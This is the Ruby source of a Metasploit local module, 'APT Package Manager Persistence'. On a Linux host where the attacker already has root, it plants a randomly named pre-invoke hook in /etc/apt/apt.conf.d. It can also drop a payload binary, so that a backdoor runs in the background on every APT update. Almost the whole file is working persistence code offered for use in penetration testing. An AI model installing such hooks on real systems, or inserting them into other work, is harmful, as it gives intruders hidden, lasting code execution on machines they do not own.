##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Post::File
  include Msf::Post::Linux::System
  include Msf::Exploit::Local::Persistence
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Deprecated
  moved_from 'exploits/linux/local/apt_package_manager_persistence'

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'APT Package Manager Persistence',
        'Description' => %q{
          This module will run a payload when the APT package manager is used.
          This module creates a pre-invoke hook for APT in apt.conf.d. Write access
          to the apt.conf.d directory is required, typically requiring root access.
          The hook name is randomized if not specified.
          Verified on Ubuntu 22.04
        },
        'License' => MSF_LICENSE,
        'Author' => ['Aaron Ringo'],
        'Platform' => ['linux', 'unix'],
        'Arch' => [
          ARCH_CMD,
          ARCH_X86,
          ARCH_X64,
          ARCH_ARMLE,
          ARCH_AARCH64,
          ARCH_PPC,
          ARCH_MIPSLE,
          ARCH_MIPSBE
        ],
        'SessionTypes' => ['shell', 'meterpreter'],
        'DisclosureDate' => '1999-03-09', # Date APT package manager was included in Debian
        'References' => [
          ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
          ['URL', 'https://unix.stackexchange.com/questions/204414/how-to-run-a-command-before-download-with-apt-get'],
        ],
        'Targets' => [['Automatic', {}]],
        'Privileged' => true,
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
        }
      )
    )

    register_options(
      [
        OptString.new('HOOKNAME', [false, 'Name of hook file to write']),
        OptString.new('PAYLOAD_NAME', [false, 'Name of binary to write']),
        OptString.new('HOOKPATH', [true, 'The directory where the apt configurations are located', '/etc/apt/apt.conf.d/'])
      ]
    )
  end

  def check
    return CheckCode::Safe('apt-get not found, likely not an apt based system') unless command_exists?('apt-get')
    return CheckCode::Safe("#{datastore['HOOKPATH']} not found") unless exists?(datastore['HOOKPATH'])
    return CheckCode::Safe("#{datastore['HOOKPATH']} not writable") unless writable?(datastore['HOOKPATH'])

    print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
    return CheckCode::Safe("#{writable_dir} not found") unless exists?(writable_dir)
    return CheckCode::Safe("#{writable_dir} not writable") unless writable?(writable_dir)

    CheckCode::Appears("#{datastore['HOOKPATH']} and #{writable_dir} are writable, also found apt-get.")
  end

  def install_persistence
    fail_with Failure::BadConfig, "#{datastore['HOOKPATH']} not writable, or APT is not on system" unless writable?(datastore['HOOKPATH'])
    hook_path = datastore['HOOKPATH']
    hook_path << (datastore['HOOKNAME'] || "#{rand_text_numeric(2)}#{rand_text_alpha(5..8)}")

    if payload.arch.first == 'cmd'
      hook_script = %(APT::Update::Pre-Invoke {"setsid #{payload.encoded} 2>/dev/null &"};)
    else
      payload_path = writable_dir
      payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
      payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
      payload_path << payload_name
      write_file(payload_path, generate_payload_exe)
      fail_with Failure::Unknown, "Failed to write #{payload_path}" unless exist?(payload_path)
      print_status("Backdoor uploaded #{payload_path}")
      # permissions chosen to reflect common perms in /usr/local/bin/
      chmod(payload_path, 0o755)

      print_status('Attempting to write hook')
      hook_script = %(APT::Update::Pre-Invoke {"setsid #{payload_path} 2>/dev/null &"};)
      @clean_up_rc << "rm #{payload_path}\n"
    end
    write_file(datastore['HOOKPATH'], hook_script)

    fail_with Failure::Unknown, 'Failed to write Hook' unless exist?(datastore['HOOKPATH'])

    print_status("Wrote #{datastore['HOOKPATH']}")

    print_good('Backdoor will run on next APT update')

    @clean_up_rc << "rm #{datastore['HOOKPATH']}\n"
  end
end
